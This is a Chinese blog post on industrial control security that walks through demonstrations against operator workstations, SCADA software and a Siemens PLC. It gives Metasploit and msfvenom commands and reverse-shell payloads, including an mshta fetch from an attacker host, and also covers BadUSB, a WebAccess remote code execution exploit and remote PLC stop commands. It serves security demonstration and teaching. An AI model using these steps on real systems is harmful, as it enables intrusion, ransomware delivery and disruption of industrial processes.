针对PLC、SCADA与上位机的攻防实践案例分享

百科   2024-10-18 19:35   山东  

在某核电的安全项目中,感谢公司leader信任让我负责项目的总体方案设计、攻防案例设计、安全防护等方案。

经过前期大量的搜索、复现、思考、选取,顺利完成该项目的建设实施。于是,在此文中分享一些可以在工控安全项目中进行攻防演示的案例,以供大家参考。


   针对工控系统上位机操作系统攻防案例

漏洞一:永恒之蓝

MS17-010 (永恒之蓝Eternalblue)

漏洞描述

永恒之蓝(Eternalblue)通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行漏洞,恶意代码会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。

漏洞影响

目前已知受影响的 Windows 版本包括但不限于:Windows NT,Windows 2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012等。

演示步骤

1.使用nmap对目标进行扫描,确定目标存在永恒之蓝漏洞,执行如下命令
nmap --script smb-vuln-ms17-010 192.168.28.128
2.使用Metasploit对目标进行攻击,执行如下操作
输入msfconsole启动Metasploit
在Metasploit中,输入search ms17-010查找永恒之蓝漏洞


输入use exploit/windows/smb/ms17_010_eternalblue选择漏洞利用模块
输入show options查看当前攻击配置


将配置中第一行的RHOST修改为目标IP地址
配置完成后,输入run命令执行漏洞攻击,如果执行成功,会获得目标机器windows系统的shell终端,可对该目标机器执行任何命令


  针对工控系统上位机办公软件攻防案例

漏洞一:噩梦公式二代

CVE-2017-11882&CVE-2018-0802 (Microsoft Office内存破坏漏洞)

漏洞描述

在2017年11月14日,微软发布11月份安全补丁更新,其中更新了潜伏17年之久的Office远程代码执行漏洞(CVE-2017-11882) “噩梦公式一代“,而在2018年1月,又爆出了office 0day漏洞(CVE-2018-0802),该漏洞的技术原理类似17年修补的漏洞,是由于office公式编辑器组件EQNEDT32.EXE,对字体名的长度没有进行长度检验,导致攻击者可以通过构造恶意的字体名,执行任意代码。

漏洞影响

  1. Microsoft Office 2007 Service Pack 3
  2. Microsoft Office 2010 Service Pack 2
  3. Microsoft Office 2013 Service Pack 1
  4. Microsoft Office 2016

演示步骤

1.下载漏洞利用脚本备用
https://github.com/Ridter/RTF_11882_0802/blob/master/RTF_11882_0802.py
2.使用Metasploit生成攻击反向控制后门文件


3.使用漏洞利用脚本,执行如下命令,生成包含漏洞的office文件
python RTF_11882_0802.py -c "mshta http://192.168.103.152:8080/123" -o test.doc
4.将生成的test.doc文件,利用一些手段传给目标,当目标打开此文件时,会反弹出一个shell会话到攻击机,此时,攻击者已经控制了目标


  针对工控系统上位机USB外设攻防案例

攻击手法一:震网三代

2010年,攻击伊朗核工厂的漏洞利用工具就是“震网一代”,它因此被公认为世界上首个网络“超级破坏性武器”。

2011 年,“震网二代”蠕虫病毒出现,因为它会在临时目录下生成名为~DQ 的随机文件,也被称作Duqu。

2017年6月14日凌晨,微软发布安全公告称,Windows快捷方式存在高危漏洞(CVE-2017-8464),黑客可以通过U盘、网络共享等途径触发漏洞,完全控制用户系统。

漏洞与震网病毒攻破伊朗核电站使用的漏洞非常相似,对能源、交通、金融等基础设施隔离网极具杀伤力,因此定义为“震网三代”漏洞。

漏洞简介

“震网三代”漏洞是Windows系统在处理LNK文件(快捷方式)过程中发生的远程代码执行漏洞。当存在漏洞的电脑被插入恶意U盘时,不需要任何操作,漏洞攻击程序就可以完全控制用户的电脑系统。该漏洞也可能由用户访问网络共享、网络下载、拷贝文件等操作被触发和植入木马。

“震网三代”漏洞的原理与震网病毒入侵破坏伊朗核设施所使用的漏洞(CVE-2010-2568)非常相似,都可以穿透隔离网络。由于物理隔离的基础设施和核心网络通常需要使用U盘、移动硬盘等存储设备进行数据交换,能够通过U盘触发的“震网三代”漏洞就成为渗透控制隔离网的大杀器,其威力完全不亚于前两代震网攻击。

“震网三代”漏洞影响从Vista到Win 10的所有主流版本,XP和2003则不受影响。目前微软已经发布了“震网三代”漏洞补丁,同期还修复了Windows搜索远程命令执行漏洞(CVE-2017-8543)等近百个漏洞。

漏洞影响

  • Windows 7

  • Windows 8.1

  • Windows RT 8.1

  • Windows 10

  • Windows Server 2008

  • Windows Server 2008 R2

  • Windows Server 2012

  • Windows Server 2012 R2

  • Windows Server 2016

演示步骤

1.打开msfconsole,进入metasploit控制台界面
2.指定攻击模块:use exploits/windows/fileformat/cve_2017_8464_lnk_rce
3.查看模块配置信息:show options


可以指定dll、link文件名
4.设置payload:
反弹meterpreter会话

set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.1.110

可以跟勒索病毒(或者PLC定向攻击脚本)结合,场景是利用震网三代漏洞制作的U盘插入待攻击机器,自动运行勒索程序(或者PLC定向攻击脚本)

set payload windows/x64/exec
set cmd "C:\\Users\\lenovo\\Desktop\\attack.py"


5.最后执行exploit,将生成的文件拷贝进干净、稳定、可用的U盘中即制作成功

 攻击手法二:badUSB

 原理简述

BadUSB最早是在2014年的黑帽大会上研究人员JakobLell和Karsten Nohl提出并展示的。不同于老式的U盘病毒,它利用了USB协议中的一个漏洞,通过模拟键盘、鼠标、网卡等从而让目标电脑执行恶意代码,达到控制主机或者窃取敏感信息等目的。


从传统意义讲,当你在电脑中插入一张CD/DVD光盘,或者插入一个USB设备时,可以通过自动播放来运行一个包含恶意的文件,不过自动播放功能被关闭时,autorun.inf文件就无法自动执行你的文件了。
然而通过TEENSY,你可以模拟出一个键盘和鼠标,当你插入这个定制的USB设备时,电脑会识别为一个键盘,利用设备中的微处理器,与存储空间,和编程进去的攻击代码,就可以向主机发送控制命令,从而完全控制主机,无论自动播放是否开启,都可以成功。

演示步骤

1.攻击者事先制作好badUSB硬件设备,选择基于ATTINY85微控制器的USB开发板Digispark。
2.使用烧录代码的编译器Arduino IDE,将恶意代码烧录到BadUSB中。

3.配置好相关参数,将开发板设为Digispark,编程器设为USBtinyISP,编写好代码后,就可以点击“上传”按钮,然后插入BadUSB设备,一款简易BadUSB就做好了。

4.使用Metasploit生成攻击反向控制后门文件,执行如下命令

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.128 LPORT=5555 -f exe >shell.exe

5.在MSF服务端,开启监听,等待目标机器中后门反弹回shell

6.攻击者可诱使目标机器的使用者将特制的badusb设备插入目标设备,当目标机器被插上U盘后,即会自动执行内部控制代码,在目标设备上模拟键鼠进行操作,下载执行了后门文件,此时攻击者就获得了目标机器反弹的shell,控制了目标机器。

  针对工控系统编程组态软件攻防案例

攻击手法一:震网

Stuxnet(震网)

震网病毒简述


 震网传播方式

Stuxnet 蠕虫的攻击目标是 SIMATIC WinCC 软件。后者主要用于工业控制系统的数据采集与监控,一般部署在专用的内部局域网中,并与外部互联网实行物理上的隔离。为了实现攻击,Stuxnet 蠕虫采取多种 手段进行渗透和传播,如图所示


整体的传播思路是:首先感染外部主机;然后感染 U 盘,利用快捷方式文件解析漏洞,传播到内部网络;在内网中,通过快捷方式解析漏洞、RPC 远程执行漏洞、打印机后台程序服务漏洞,实现联网主机之间的传播;最后抵达安装了 WinCC 软件的主机,展开攻击。
一旦发现WinCC系统,就利用其中的两个漏洞展开攻击
1、一个是WinCC系统中存在一个硬编码漏洞,保护访问数据库的默认用户名和密码,Stuxnet利用这一漏洞尝试访问该系统的SQL数据库
2、另一个是WinCC需要使用的Step7工程中,在打开工程文件时,存在DLL加载策略上的缺陷,从而导致一种类似于“DLL预加载攻击”的利用方式。最终,Stuxnet通过替换Step7软件中的s7otbxdx.dll,实现对一些查询、读取函数的Hook。


  针对工控系统SCADA系统攻防案例

 漏洞一:WebAccess

CVE-2017-16720

漏洞简述

此漏洞允许攻击者使用RPC协议通过TCP端口4592执行远程命令。
通过利用恶意分布式计算环境/远程过程调用(DCERPC),webvrpcs.exe服务将命令行指令传递给主机, webvrpcs.exe服务以管理员访问权限运行。版本小于8.3、8.3.1、8.3.2仍然存在特定的安全漏洞。

漏洞复现

通过官方渠道,下载存在该漏洞的版本程序
http://advcloudfiles.advantech.com/web/Download/webaccess/8.2/AdvantechWebAccessUSANode8.2_20170817.exe
安装环境:Windows Server 2008 R2 x64

安装一律默认NEXT即可,TCP端口也无需自定义,默认程序端口4592


安装完成,系统重启,可查看本机开放端口情况


可以看到漏洞所利用的端口4592已经正常开放

现在,我们使用附件中的EXP脚本,对搭载Advantech WebAccess 8.2-2017.08.18程序的服务器进行攻击

漏洞攻击成功的话,利用EXP脚本发送系统命令执行指令到服务器上,服务器会执行对应指令,弹出计算器。


可以看到服务器弹出了计算器,证明漏洞利用成功!


   流量分析

通过对EXP脚本执行过程中,使用Wireshark抓取对应数据流量,来看服务器通信过程



   针对工控系统PLC攻防案例

攻击手法一:S7-1200启停

针对西门子S7协议或罗克韦尔AB Ethernet/IP、施耐德Modbus等工控协议,攻击者通过对主流工控协议的深度分析,向PLC设备发送远程停机、程序上传下载等控制指令数据报文,实现对下位机PLC的非法控制。


  工具及运行环境

root@kali:~# git clone https://github.com/dark-lbp/isf/
root@kali:~# cd isf/
root@kali:~/isf# python isf.py
root@kali:~/isf# pip install -r requirements.txt

安装好所需python模块,运行isf.py无报错

   网络设置与PLC连接

本次实验所用的PLC设备如下,设备型号为SIMATIC S7-1200

将设备接通电源后,此时PLC 指示灯 RUN/STOP 点亮 绿灯

此时我们还不知道PLC设定的IP地址,所以需要对网段进行扫描

再使用网线将PLC与主机相连,配置主机网卡IP地址


可以看到:使用nmap扫描出的设备除了本机IP就是PLC设备的IP了,其对应的MAC地址也与设备上的标识一致

   远程攻击演示

这里我们用到的攻击模块是
exploits/plcs/siemens/s7_1200_plc_control



show options查看该模块的配置信息
target: 攻击PLC目标IP地址
port: 攻击PLC目标端口(默认是102端口)
command:攻击指令(0-启动PLC、1-停止PLC、2-重置PLC、3-重置PLC和IP)


设置好后,输入run指令 开始远程攻击PLC


此时PLC指示灯 RUN/STOP 变成 黄灯,说明PLC设备已经停止运行,远程攻击成功!


  针对工控系统OPC数据通信攻防案例

 攻击手法一

利用OPC协议漏洞,在通过OPC服务器与MES服务器进行数据通信过程中,攻击者可以伪装成合法的OPC Client对工控系统数据进行读写。

加入知识星球智能制造与自动化,加入会员可下载此公众号发布文章中的相关资料(行业报告、MES、数字化技术方案、自动化教程、自动化行业标准化资料VASS\SICAR\戴姆勒等、C#上位机开发、node-red开发、人工智能教程等)。

会员下载区

今天的文章,如果你感觉有价值,请记得一键三连:点赞加关注,留言,转发朋友圈,分享收藏,点击在看之后,一定记着加我个人微信:ZIDHXB。

往期精彩回顾




汽车行业Sicar控制标准资料有偿获取
博途PLC与FactoryIO联合仿真教程限时分享
PLC程序动态加密—分级催款可远程授权程序与授权软件分享
SIEMENS/西门子杯,六部十层电梯程序分享
FactoryIO与博途联合三色物料气缸分拣站程序分享
多台排水泵按累计运行时间切换和先启先停切换多模式控制PLC程序分享
倍福PLC视频教程及资料免费分享(36G)
三菱PLC编写的贪吃蛇与俄罗斯方块程序分享
库卡EthernetKRL备选软件包分享(版本V3.1.3)
精美博途Wincc界面程序模板分享
TIA_Portal_v18虚拟机分享
西门子博途V19全家桶与最新授权下载
大众VASS05标准Step7v5.5软件虚拟机分享
TIA_Portal_v19虚拟机分享
西门子SCL编程实例—扫雷游戏分享
西门子TIA博途软件入门到精通教程免费分享
西门子S7-1500博途PLC(基础+高级)视频教程分享
西门子TIA博途-SCL高级编程多套视频资料免费分享-限时删除
西门子TIA博途高级语言SCL视频资料分享
三菱FX3U系列plc精讲视频分享(40讲+240讲) 49GB
西门子smart200视频教程分享
两套西门子WinCC视频教程分享(9.5G)
PLC、触摸屏工控小游戏样例合集分享
EPLAN电气设计制图视频教程分享-限时删除
都有哪些好用电工仿真软件?学习电路图变得如此简
67本自动化书籍免费领取啦!!!
最新西门子授权工具EKB2022版分享
立体仓库穿梭车程序分享
威纶触摸屏视频教程(66讲)分享
博途TIA V16-V17全套软件与组件分享
标准化编程之-博途TIA程序设计编程规范
西门子SCL编程练习:排水泵根据运行时间先起先停控制
如何使用C#编写程序读写西门子PLC?
VASS标准—PLC安全程序架构讲解
VASS05标准—KUKA机器人培训课件
大众VASS_05标准——PLC程序架构
大众VASS05生画面遇到的问题总结
SEW_MOVIPRO变频器在VASS05标准中的应用
SEW_MOVIFIT变频器在VASS05标准中的应用
KUKA机器人高级编程(下)第3-4章(计时器\运动编程)
西门子博途SCL案例_仓储系统出料优先级控制程序实战练习
西门子TIA博途SCL高级教程—伺服V90速度控制
西门子TIA博途SCL高级教程—伺服V90定位控制
西门子TIA博途SCL高级视频教程—模拟量在工程中的应用
博途TIA Portal——SCL间接寻址PEEK和POKE指令的使用案例
西门子SCL高级语言教程—冒泡排序和选择排序
西门子SCL编程实例—字与位的转换Word_To_Bit
西门子博途WINCC脚本VBS教程4_脚本操作画面内对象的属性
如何使用C#编写程序读写西门子PLC?
C#上位机通过TCP/IP协议和KUKA机器人通讯
不外传的28条PLC编程规范及建议,赶紧收藏
win10家庭版安装西门子博途软件时提示“管理员已阻止你运行此应用”解决方法
西门子SCL编程-数据堆栈存储与操作在项目中的使用
博途实现程序动态加密—分级催款密钥授权管理系统程序实现
分享几个PROFINET网络故障诊断与分析案例
工控的面向对象编程
SiCar自动化标准平台架构
特斯拉EPLAN 电气图纸和结构标准
SICAR标准-VALVE_1_TO_8_3POS_FB夹具控制功能块
西门子PLC信号分析软件Winplc Analyzer 使用方法
PROFINET设备的GSD文件及其描述语言GSDML
大众标准VASS06软件环境设置
ABB机器人编程与应用中级篇
PLC编程算法—FIFO堆栈程序的实现
大众VASS06 项目库标准程序结构.
C#利用S7netplus读写西门子PLC数据
吉利KUKA_KRC4系列机器人现场应用规范和技术要求
TESLA特斯拉—PLC 逻辑编程规范
TESLA特斯拉—SCADA 设计规范
多台排水泵按累计运行时间切换和先启先停切换多模式控制PLC程序分享
西门子S7-200SMART编码器线速度测量算法
西门子S7-200SMART一阶RC低通滤波算法原理与实现
博途S7-1500SCL与FactoryIO仿真实现一阶RC低通滤波器皮带机速度平滑控制
Node-Red与ModbusTCP设备通信——写数据
Node-Red与ModbusTCP设备通信——读数据
大众汽车PLC-VASS05标准视频教程
你知道制造业10大系统集成:SCADA、MES、PLM、ERP、SCM、WMS、APS、QMS、CRM、EAM的关系吗?
西门子S7-300 SCL编程实现数组队列搜索、插入、删除、改动功能



智能制造与自动化
每天学习一点点,时间会给你一个不可思议的礼物。定期分享智能制造与自动化知识点,分享比收获更让人幸福。 智能制造、自动化、数字化、机器人、工业互联网 PLC\MES\SCADA\EPLAN\ 西门子\三菱\施耐德\KUKA\
 最新文章